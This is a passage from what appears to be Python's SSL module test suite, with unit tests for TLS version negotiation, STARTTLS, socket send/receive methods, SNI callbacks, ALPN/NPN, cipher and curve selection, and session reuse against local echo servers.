'PROTOCOL_SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_SSLv2, False) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1_1) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1_1, 'TLSv1.1') try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1, False) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1_1, False) @skip_if_broken_ubuntu_ssl @unittest.skipUnless(hasattr(ssl, "PROTOCOL_TLSv1_2"), "TLS version 1.2 not supported.") def test_protocol_tlsv1_2(self): """Connecting to a TLSv1.2 server with various client options. Testing against older TLS versions.""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2', server_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2, client_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2,) if hasattr(ssl, 'PROTOCOL_SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv2, False) if hasattr(ssl, 'PROTOCOL_SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1_2) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2') try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1, False) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1_2, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_2, False) def test_starttls(self): """Switching from clear text to encrypted and back again.""" msgs = (b"msg 1", b"MSG 2", b"STARTTLS", b"MSG 3", b"msg 4", b"ENDTLS", b"msg 5", b"msg 6") server = ThreadedEchoServer(CERTFILE, starttls_server=True, chatty=True, connectionchatty=True) wrapped = False with server: s = socket.socket() s.setblocking(1) s.connect((HOST, server.port)) if support.verbose: sys.stdout.write("\n") for indata in msgs: if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) if wrapped: conn.write(indata) outdata = conn.read() else: s.send(indata) outdata = s.recv(1024) msg = outdata.strip().lower() if indata == b"STARTTLS" and msg.startswith(b"ok"): # STARTTLS ok, switch to secure mode if support.verbose: sys.stdout.write( " client: read %r from server, starting TLS...\n" % msg) conn = test_wrap_socket(s) wrapped = True elif indata == b"ENDTLS" and msg.startswith(b"ok"): # ENDTLS ok, switch back to clear text if support.verbose: sys.stdout.write( " client: read %r from server, ending TLS...\n" % msg) s = conn.unwrap() wrapped = False else: if support.verbose: sys.stdout.write( " client: read %r from server\n" % msg) if support.verbose: sys.stdout.write(" client: closing connection.\n") if wrapped: conn.write(b"over\n") else: s.send(b"over\n") if wrapped: conn.close() else: s.close() def test_socketserver(self): """Using socketserver to create and manage SSL connections.""" server = make_https_server(self, certfile=SIGNED_CERTFILE) # try to connect if support.verbose: sys.stdout.write('\n') with open(CERTFILE, 'rb') as f: d1 = f.read() d2 = '' # now fetch the same data from the HTTPS server url = 'https://localhost:%d/%s' % ( server.port, os.path.split(CERTFILE)[1]) context = ssl.create_default_context(cafile=SIGNING_CA) f = urllib.request.urlopen(url, context=context) try: dlen = f.info().get("content-length") if dlen and (int(dlen) > 0): d2 = f.read(int(dlen)) if support.verbose: sys.stdout.write( " client: read %d bytes from remote server '%s'\n" % (len(d2), server)) finally: f.close() self.assertEqual(d1, d2) def test_asyncore_server(self): """Check the example asyncore integration.""" if support.verbose: sys.stdout.write("\n") indata = b"FOO\n" server = AsyncoreEchoServer(CERTFILE) with server: s = test_wrap_socket(socket.socket()) s.connect(('127.0.0.1', server.port)) if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) s.write(indata) outdata = s.read() if support.verbose: sys.stdout.write(" client: read %r\n" % outdata) if outdata != indata.lower(): self.fail( "bad data <<%r>> (%d) received; expected <<%r>> (%d)\n" % (outdata[:20], len(outdata), indata[:20].lower(), len(indata))) s.write(b"over\n") if support.verbose: sys.stdout.write(" client: closing connection.\n") s.close() if support.verbose: sys.stdout.write(" client: connection closed.\n") def test_recv_send(self): """Test recv(), send() and friends.""" if support.verbose: sys.stdout.write("\n") server = ThreadedEchoServer(CERTFILE, certreqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_SERVER, cacerts=CERTFILE, chatty=True, connectionchatty=False) with server: s = test_wrap_socket(socket.socket(), server_side=False, certfile=CERTFILE, ca_certs=CERTFILE, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_CLIENT) s.connect((HOST, server.port)) # helper methods for standardising recv* method signatures def _recv_into(): b = bytearray(b"\0"*100) count = s.recv_into(b) return b[:count] def _recvfrom_into(): b = bytearray(b"\0"*100) count, addr = s.recvfrom_into(b) return b[:count] # (name, method, expect success?, *args, return value func) send_methods = [ ('send', s.send, True, [], len), ('sendto', s.sendto, False, ["some.address"], len), ('sendall', s.sendall, True, [], lambda x: None), ] # (name, method, whether to expect success, *args) recv_methods = [ ('recv', s.recv, True, []), ('recvfrom', s.recvfrom, False, ["some.address"]), ('recv_into', _recv_into, True, []), ('recvfrom_into', _recvfrom_into, False, []), ] data_prefix = "PREFIX_" for (meth_name, send_meth, expect_success, args, ret_val_meth) in send_methods: indata = (data_prefix + meth_name).encode('ascii') try: ret = send_meth(indata, *args) msg = "sending with {}".format(meth_name) self.assertEqual(ret, ret_val_meth(indata), msg=msg) outdata = s.read() if outdata != indata.lower(): self.fail( "While sending with <<{name:s}>> bad data " "<<{outdata:r}>> ({nout:d}) received; " "expected <<{indata:r}>> ({nin:d})\n".format( name=meth_name, outdata=outdata[:20], nout=len(outdata), indata=indata[:20], nin=len(indata) ) ) except ValueError as e: if expect_success: self.fail( "Failed to send with method <<{name:s}>>; " "expected to succeed.\n".format(name=meth_name) ) if not str(e).startswith(meth_name): self.fail( "Method <<{name:s}>> failed with unexpected " "exception message: {exp:s}\n".format( name=meth_name, exp=e ) ) for meth_name, recv_meth, expect_success, args in recv_methods: indata = (data_prefix + meth_name).encode('ascii') try: s.send(indata) outdata = recv_meth(*args) if outdata != indata.lower(): self.fail( "While receiving with <<{name:s}>> bad data " "<<{outdata:r}>> ({nout:d}) received; " "expected <<{indata:r}>> ({nin:d})\n".format( name=meth_name, outdata=outdata[:20], nout=len(outdata), indata=indata[:20], nin=len(indata) ) ) except ValueError as e: if expect_success: self.fail( "Failed to receive with method <<{name:s}>>; " "expected to succeed.\n".format(name=meth_name) ) if not str(e).startswith(meth_name): self.fail( "Method <<{name:s}>> failed with unexpected " "exception message: {exp:s}\n".format( name=meth_name, exp=e ) ) # consume data s.read() # read(-1, buffer) is supported, even though read(-1) is not data = b"data" s.send(data) buffer = bytearray(len(data)) self.assertEqual(s.read(-1, buffer), len(data)) self.assertEqual(buffer, data) # sendall accepts bytes-like objects if ctypes is not None: ubyte = ctypes.c_ubyte * len(data) byteslike = ubyte.from_buffer_copy(data) s.sendall(byteslike) self.assertEqual(s.read(), data) # Make sure sendmsg et al are disallowed to avoid # inadvertent disclosure of data and/or corruption # of the encrypted data stream self.assertRaises(NotImplementedError, s.dup) self.assertRaises(NotImplementedError, s.sendmsg, [b"data"]) self.assertRaises(NotImplementedError, s.recvmsg, 100) self.assertRaises(NotImplementedError, s.recvmsg_into, [bytearray(100)]) s.write(b"over\n") self.assertRaises(ValueError, s.recv, -1) self.assertRaises(ValueError, s.read, -1) s.close() def test_recv_zero(self): server = ThreadedEchoServer(CERTFILE) server.__enter__() self.addCleanup(server.__exit__, None, None) s = socket.create_connection((HOST, server.port)) self.addCleanup(s.close) s = test_wrap_socket(s, suppress_ragged_eofs=False) self.addCleanup(s.close) # recv/read(0) should return no data s.send(b"data") self.assertEqual(s.recv(0), b"") self.assertEqual(s.read(0), b"") self.assertEqual(s.read(), b"data") # Should not block if the other end sends no data s.setblocking(False) self.assertEqual(s.recv(0), b"") self.assertEqual(s.recv_into(bytearray()), 0) def test_nonblocking_send(self): server = ThreadedEchoServer(CERTFILE, certreqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_SERVER, cacerts=CERTFILE, chatty=True, connectionchatty=False) with server: s = test_wrap_socket(socket.socket(), server_side=False, certfile=CERTFILE, ca_certs=CERTFILE, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_CLIENT) s.connect((HOST, server.port)) s.setblocking(False) # If we keep sending data, at some point the buffers # will be full and the call will block buf = bytearray(8192) def fill_buffer(): while True: s.send(buf) self.assertRaises((ssl.SSLWantWriteError, ssl.SSLWantReadError), fill_buffer) # Now read all the output and discard it s.setblocking(True) s.close() def test_handshake_timeout(self): # Issue #5103: SSL handshake must respect the socket timeout server = socket.socket(socket.AF_INET) host = "127.0.0.1" port = support.bind_port(server) started = threading.Event() finish = False def serve(): server.listen() started.set() conns = [] while not finish: r, w, e = select.select([server], [], [], 0.1) if server in r: # Let the socket hang around rather than having # it closed by garbage collection. conns.append(server.accept()[0]) for sock in conns: sock.close() t = threading.Thread(target=serve) t.start() started.wait() try: try: c = socket.socket(socket.AF_INET) c.settimeout(0.2) c.connect((host, port)) # Will attempt handshake and time out self.assertRaisesRegex(socket.timeout, "timed out", test_wrap_socket, c) finally: c.close() try: c = socket.socket(socket.AF_INET) c = test_wrap_socket(c) c.settimeout(0.2) # Will attempt handshake and time out self.assertRaisesRegex(socket.timeout, "timed out", c.connect, (host, port)) finally: c.close() finally: finish = True t.join() server.close() def test_server_accept(self): # Issue #16357: accept() on a SSLSocket created through # SSLContext.wrap_socket(). context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.verify_mode = ssl.CERT_REQUIRED context.load_verify_locations(SIGNING_CA) context.load_cert_chain(SIGNED_CERTFILE) server = socket.socket(socket.AF_INET) host = "127.0.0.1" port = support.bind_port(server) server = context.wrap_socket(server, server_side=True) self.assertTrue(server.server_side) evt = threading.Event() remote = None peer = None def serve(): nonlocal remote, peer server.listen() # Block on the accept and wait on the connection to close. evt.set() remote, peer = server.accept() remote.send(remote.recv(4)) t = threading.Thread(target=serve) t.start() # Client wait until server setup and perform a connect. evt.wait() client = context.wrap_socket(socket.socket()) client.connect((host, port)) client.send(b'data') client.recv() client_addr = client.getsockname() client.close() t.join() remote.close() server.close() # Sanity checks. self.assertIsInstance(remote, ssl.SSLSocket) self.assertEqual(peer, client_addr) def test_getpeercert_enotconn(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) with context.wrap_socket(socket.socket()) as sock: with self.assertRaises(OSError) as cm: sock.getpeercert() self.assertEqual(cm.exception.errno, errno.ENOTCONN) def test_do_handshake_enotconn(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) with context.wrap_socket(socket.socket()) as sock: with self.assertRaises(OSError) as cm: sock.do_handshake() self.assertEqual(cm.exception.errno, errno.ENOTCONN) def test_no_shared_ciphers(self): client_context, server_context, hostname = testing_context() # OpenSSL enables all TLS 1.3 ciphers, enforce TLS 1.2 for test client_context.options |= ssl.OP_NO_TLSv1_3 # Force different suites on client and master client_context.set_ciphers("AES128") server_context.set_ciphers("AES256") with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaises(OSError): s.connect((HOST, server.port)) self.assertIn("no shared cipher", server.conn_errors[0]) def test_version_basic(self): """ Basic tests for SSLSocket.version(). More tests are done in the test_protocol_*() methods. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with ThreadedEchoServer(CERTFILE, ssl_version=ssl.PROTOCOL_TLS_SERVER, chatty=False) as server: with context.wrap_socket(socket.socket()) as s: self.assertIs(s.version(), None) self.assertIs(s._sslobj, None) s.connect((HOST, server.port)) if IS_OPENSSL_1_1_1 and ssl.HAS_TLSv1_3: self.assertEqual(s.version(), 'TLSv1.3') elif ssl.OPENSSL_VERSION_INFO >= (1, 0, 2): self.assertEqual(s.version(), 'TLSv1.2') else: # 0.9.8 to 1.0.1 self.assertIn(s.version(), ('TLSv1', 'TLSv1.2')) self.assertIs(s._sslobj, None) self.assertIs(s.version(), None) @unittest.skipUnless(ssl.HAS_TLSv1_3, "test requires TLSv1.3 enabled OpenSSL") def test_tls1_3(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.load_cert_chain(CERTFILE) context.options |= ( ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2 ) with ThreadedEchoServer(context=context) as server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) self.assertIn(s.cipher()[0], { 'TLS_AES_256_GCM_SHA384', 'TLS_CHACHA20_POLY1305_SHA256', 'TLS_AES_128_GCM_SHA256', }) self.assertEqual(s.version(), 'TLSv1.3') @unittest.skipUnless(hasattr(ssl.SSLContext, 'minimum_version'), "required OpenSSL 1.1.0g") def test_min_max_version(self): client_context, server_context, hostname = testing_context() # client TLSv1.0 to 1.2 client_context.minimum_version = ssl.TLSVersion.TLSv1 client_context.maximum_version = ssl.TLSVersion.TLSv1_2 # server only TLSv1.2 server_context.minimum_version = ssl.TLSVersion.TLSv1_2 server_context.maximum_version = ssl.TLSVersion.TLSv1_2 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'TLSv1.2') # client 1.0 to 1.2, server 1.0 to 1.1 server_context.minimum_version = ssl.TLSVersion.TLSv1 server_context.maximum_version = ssl.TLSVersion.TLSv1_1 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'TLSv1.1') # client 1.0, server 1.2 (mismatch) server_context.minimum_version = ssl.TLSVersion.TLSv1_2 server_context.maximum_version = ssl.TLSVersion.TLSv1_2 client_context.minimum_version = ssl.TLSVersion.TLSv1 client_context.maximum_version = ssl.TLSVersion.TLSv1 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaises(ssl.SSLError) as e: s.connect((HOST, server.port)) self.assertIn("alert", str(e.exception)) @unittest.skipUnless(hasattr(ssl.SSLContext, 'minimum_version'), "required OpenSSL 1.1.0g") @unittest.skipUnless(ssl.HAS_SSLv3, "requires SSLv3 support") def test_min_max_version_sslv3(self): client_context, server_context, hostname = testing_context() server_context.minimum_version = ssl.TLSVersion.SSLv3 client_context.minimum_version = ssl.TLSVersion.SSLv3 client_context.maximum_version = ssl.TLSVersion.SSLv3 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'SSLv3') @unittest.skipUnless(ssl.HAS_ECDH, "test requires ECDH-enabled OpenSSL") def test_default_ecdh_curve(self): # Issue #21015: elliptic curve-based Diffie Hellman key exchange # should be enabled by default on SSL contexts. context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.load_cert_chain(CERTFILE) # TLSv1.3 defaults to PFS key agreement and no longer has KEA in # cipher name. context.options |= ssl.OP_NO_TLSv1_3 # Prior to OpenSSL 1.0.0, ECDH ciphers have to be enabled # explicitly using the 'ECCdraft' cipher alias. Otherwise, # our default cipher list should prefer ECDH-based ciphers # automatically. if ssl.OPENSSL_VERSION_INFO < (1, 0, 0): context.set_ciphers("ECCdraft:ECDH") with ThreadedEchoServer(context=context) as server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) self.assertIn("ECDH", s.cipher()[0]) @unittest.skipUnless("tls-unique" in ssl.CHANNEL_BINDING_TYPES, "'tls-unique' channel binding not available") def test_tls_unique_channel_binding(self): """Test tls-unique channel binding.""" if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=True, connectionchatty=False) with server: with client_context.wrap_socket( socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # get the data cb_data = s.get_channel_binding("tls-unique") if support.verbose: sys.stdout.write( " got channel binding data: {0!r}\n".format(cb_data)) # check if it is sane self.assertIsNotNone(cb_data) if s.version() == 'TLSv1.3': self.assertEqual(len(cb_data), 48) else: self.assertEqual(len(cb_data), 12) # True for TLSv1 # and compare with the peers version s.write(b"CB tls-unique\n") peer_data_repr = s.read().strip() self.assertEqual(peer_data_repr, repr(cb_data).encode("us-ascii")) # now, again with client_context.wrap_socket( socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) new_cb_data = s.get_channel_binding("tls-unique") if support.verbose: sys.stdout.write( "got another channel binding data: {0!r}\n".format( new_cb_data) ) # is it really unique self.assertNotEqual(cb_data, new_cb_data) self.assertIsNotNone(cb_data) if s.version() == 'TLSv1.3': self.assertEqual(len(cb_data), 48) else: self.assertEqual(len(cb_data), 12) # True for TLSv1 s.write(b"CB tls-unique\n") peer_data_repr = s.read().strip() self.assertEqual(peer_data_repr, repr(new_cb_data).encode("us-ascii")) def test_compression(self): client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) if support.verbose: sys.stdout.write(" got compression: {!r}\n".format(stats['compression'])) self.assertIn(stats['compression'], { None, 'ZLIB', 'RLE' }) @unittest.skipUnless(hasattr(ssl, 'OP_NO_COMPRESSION'), "ssl.OP_NO_COMPRESSION needed for this test") def test_compression_disabled(self): client_context, server_context, hostname = testing_context() client_context.options |= ssl.OP_NO_COMPRESSION server_context.options |= ssl.OP_NO_COMPRESSION stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['compression'], None) def test_dh_params(self): # Check we can get a connection with ephemeral Diffie-Hellman client_context, server_context, hostname = testing_context() # test scenario needs TLS <= 1.2 client_context.options |= ssl.OP_NO_TLSv1_3 server_context.load_dh_params(DHFILE) server_context.set_ciphers("kEDH") server_context.options |= ssl.OP_NO_TLSv1_3 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) cipher = stats["cipher"][0] parts = cipher.split("-") if "ADH" not in parts and "EDH" not in parts and "DHE" not in parts: self.fail("Non-DH cipher: " + cipher[0]) @unittest.skipUnless(HAVE_SECP_CURVES, "needs secp384r1 curve support") @unittest.skipIf(IS_OPENSSL_1_1_1, "TODO: Test doesn't work on 1.1.1") def test_ecdh_curve(self): # server secp384r1, client auto client_context, server_context, hostname = testing_context() server_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) # server auto, client secp384r1 client_context, server_context, hostname = testing_context() client_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) # server / client curve mismatch client_context, server_context, hostname = testing_context() client_context.set_ecdh_curve("prime256v1") server_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 try: stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) except ssl.SSLError: pass else: # OpenSSL 1.0.2 does not fail although it should. if IS_OPENSSL_1_1_0: self.fail("mismatch curve did not fail") def test_selected_alpn_protocol(self): # selected_alpn_protocol() is None unless ALPN is used. client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_alpn_protocol'], None) @unittest.skipUnless(ssl.HAS_ALPN, "ALPN support required") def test_selected_alpn_protocol_if_server_uses_alpn(self): # selected_alpn_protocol() is None unless ALPN is used by the client. client_context, server_context, hostname = testing_context() server_context.set_alpn_protocols(['foo', 'bar']) stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_alpn_protocol'], None) @unittest.skipUnless(ssl.HAS_ALPN, "ALPN support needed for this test") def test_alpn_protocols(self): server_protocols = ['foo', 'bar', 'milkshake'] protocol_tests = [ (['foo', 'bar'], 'foo'), (['bar', 'foo'], 'foo'), (['milkshake'], 'milkshake'), (['http/3.0', 'http/4.0'], None) ] for client_protocols, expected in protocol_tests: client_context, server_context, hostname = testing_context() server_context.set_alpn_protocols(server_protocols) client_context.set_alpn_protocols(client_protocols) try: stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) except ssl.SSLError as e: stats = e if (expected is None and IS_OPENSSL_1_1_0 and ssl.OPENSSL_VERSION_INFO < (1, 1, 0, 6)): # OpenSSL 1.1.0 to 1.1.0e raises handshake error self.assertIsInstance(stats, ssl.SSLError) else: msg = "failed trying %s (s) and %s (c).\n" \ "was expecting %s, but got %%s from the %%s" \ % (str(server_protocols), str(client_protocols), str(expected)) client_result = stats['client_alpn_protocol'] self.assertEqual(client_result, expected, msg % (client_result, "client")) server_result = stats['server_alpn_protocols'][-1] \ if len(stats['server_alpn_protocols']) else 'nothing' self.assertEqual(server_result, expected, msg % (server_result, "server")) def test_selected_npn_protocol(self): # selected_npn_protocol() is None unless NPN is used client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_npn_protocol'], None) @unittest.skipUnless(ssl.HAS_NPN, "NPN support needed for this test") def test_npn_protocols(self): server_protocols = ['http/1.1', 'spdy/2'] protocol_tests = [ (['http/1.1', 'spdy/2'], 'http/1.1'), (['spdy/2', 'http/1.1'], 'http/1.1'), (['spdy/2', 'test'], 'spdy/2'), (['abc', 'def'], 'abc') ] for client_protocols, expected in protocol_tests: client_context, server_context, hostname = testing_context() server_context.set_npn_protocols(server_protocols) client_context.set_npn_protocols(client_protocols) stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) msg = "failed trying %s (s) and %s (c).\n" \ "was expecting %s, but got %%s from the %%s" \ % (str(server_protocols), str(client_protocols), str(expected)) client_result = stats['client_npn_protocol'] self.assertEqual(client_result, expected, msg % (client_result, "client")) server_result = stats['server_npn_protocols'][-1] \ if len(stats['server_npn_protocols']) else 'nothing' self.assertEqual(server_result, expected, msg % (server_result, "server")) def sni_contexts(self): server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(SIGNED_CERTFILE) other_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) other_context.load_cert_chain(SIGNED_CERTFILE2) client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) return server_context, other_context, client_context def check_common_name(self, stats, name): cert = stats['peercert'] self.assertIn((('commonName', name),), cert['subject']) @needs_sni def test_sni_callback(self): calls = [] server_context, other_context, client_context = self.sni_contexts() client_context.check_hostname = False def servername_cb(ssl_sock, server_name, initial_context): calls.append((server_name, initial_context)) if server_name is not None: ssl_sock.context = other_context server_context.set_servername_callback(servername_cb) stats = server_params_test(client_context, server_context, chatty=True, sni_name='supermessage') # The hostname was fetched properly, and the certificate was # changed for the connection. self.assertEqual(calls, [("supermessage", server_context)]) # CERTFILE4 was selected self.check_common_name(stats, 'fakehostname') calls = [] # The callback is called with server_name=None stats = server_params_test(client_context, server_context, chatty=True, sni_name=None) self.assertEqual(calls, [(None, server_context)]) self.check_common_name(stats, SIGNED_CERTFILE_HOSTNAME) # Check disabling the callback calls = [] server_context.set_servername_callback(None) stats = server_params_test(client_context, server_context, chatty=True, sni_name='notfunny') # Certificate didn't change self.check_common_name(stats, SIGNED_CERTFILE_HOSTNAME) self.assertEqual(calls, []) @needs_sni def test_sni_callback_alert(self): # Returning a TLS alert is reflected to the connecting client server_context, other_context, client_context = self.sni_contexts() def cb_returning_alert(ssl_sock, server_name, initial_context): return ssl.ALERT_DESCRIPTION_ACCESS_DENIED server_context.set_servername_callback(cb_returning_alert) with self.assertRaises(ssl.SSLError) as cm: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'TLSV1_ALERT_ACCESS_DENIED') @needs_sni def test_sni_callback_raising(self): # Raising fails the connection with a TLS handshake failure alert. server_context, other_context, client_context = self.sni_contexts() def cb_raising(ssl_sock, server_name, initial_context): 1/0 server_context.set_servername_callback(cb_raising) with self.assertRaises(ssl.SSLError) as cm, \ support.captured_stderr() as stderr: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'SSLV3_ALERT_HANDSHAKE_FAILURE') self.assertIn("ZeroDivisionError", stderr.getvalue()) @needs_sni def test_sni_callback_wrong_return_type(self): # Returning the wrong return type terminates the TLS connection # with an internal error alert. server_context, other_context, client_context = self.sni_contexts() def cb_wrong_return_type(ssl_sock, server_name, initial_context): return "foo" server_context.set_servername_callback(cb_wrong_return_type) with self.assertRaises(ssl.SSLError) as cm, \ support.captured_stderr() as stderr: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'TLSV1_ALERT_INTERNAL_ERROR') self.assertIn("TypeError", stderr.getvalue()) def test_shared_ciphers(self): client_context, server_context, hostname = testing_context() client_context.set_ciphers("AES128:AES256") server_context.set_ciphers("AES256") expected_algs = [ "AES256", "AES-256", # TLS 1.3 ciphers are always enabled "TLS_CHACHA20", "TLS_AES", ] stats = server_params_test(client_context, server_context, sni_name=hostname) ciphers = stats['server_shared_ciphers'][0] self.assertGreater(len(ciphers), 0) for name, tls_version, bits in ciphers: if not any(alg in name for alg in expected_algs): self.fail(name) def test_read_write_after_close_raises_valuerror(self): client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=False) with server: s = client_context.wrap_socket(socket.socket(), server_hostname=hostname) s.connect((HOST, server.port)) s.close() self.assertRaises(ValueError, s.read, 1024) self.assertRaises(ValueError, s.write, b'hello') def test_sendfile(self): TEST_DATA = b"x" * 512 with open(support.TESTFN, 'wb') as f: f.write(TEST_DATA) self.addCleanup(support.unlink, support.TESTFN) context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.verify_mode = ssl.CERT_REQUIRED context.load_verify_locations(SIGNING_CA) context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=context, chatty=False) with server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) with open(support.TESTFN, 'rb') as file: s.sendfile(file) self.assertEqual(s.recv(1024), TEST_DATA) def test_session(self): client_context, server_context, hostname = testing_context() # TODO: sessions aren't compatible with TLSv1.3 yet client_context.options |= ssl.OP_NO_TLSv1_3 # first connection without session stats = server_params_test(client_context, server_context, sni_name=hostname) session = stats['session'] self.assertTrue(session.id) self.assertGreater(session.time, 0) self.assertGreater(session.timeout, 0) self.assertTrue(session.has_ticket) if ssl.OPENSSL_VERSION_INFO > (1, 0, 1): self.assertGreater(session.ticket_lifetime_hint, 0) self.assertFalse(stats['session_reused']) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 1) self.assertEqual(sess_stat['hits'], 0) # reuse session stats = server_params_test(client_context, server_context, session=session, sni_name=hostname) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 2) self.assertEqual(sess_stat['hits'], 1) self.assertTrue(stats['session_reused']) session2 = stats['session'] self.assertEqual(session2.id, session.id) self.assertEqual(session2, session) self.assertIsNot(session2, session) self.assertGreaterEqual(session2.time, session.time) self.assertGreaterEqual(session2.timeout, session.timeout) # another one without session stats = server_params_test(client_context, server_context, sni_name=hostname) self.assertFalse(stats['session_reused']) session3 = stats['session'] self.assertNotEqual(session3.id, session.id) self.assertNotEqual(session3, session) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 3) self.assertEqual(sess_stat['hits'], 1) # reuse session again stats = server_params_test(client_context, server_context, session=session, sni_name=hostname) self.assertTrue(stats['session_reused']) session4 = stats['session'] self.assertEqual(session4.id, session.id) self.assertEqual(session4, session) self.assertGreaterEqual(session4.time, session.time) self.assertGreaterEqual(session4.timeout, session.timeout) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 4) self.assertEqual(sess_stat['hits'], 2) def test_session_handling(self): client_context, server_context, hostname = testing_context() client_context2, _, _ = testing_context() # TODO: session reuse does not work with TLSv1.3 client_context.options |= ssl.OP_NO_TLSv1_3 client_context2.options |= ssl.OP_NO_TLSv1_3 server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # session is None before handshake self.assertEqual(s.session, None) self.assertEqual(s.session_reused, None) s.connect((HOST, server.port)) session = s.session self.assertTrue(session) with self.assertRaises(TypeError) as e: s.session = object self.assertEqual(str(e.exception), 'Value is not a SSLSession.') with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # cannot set session after handshake with 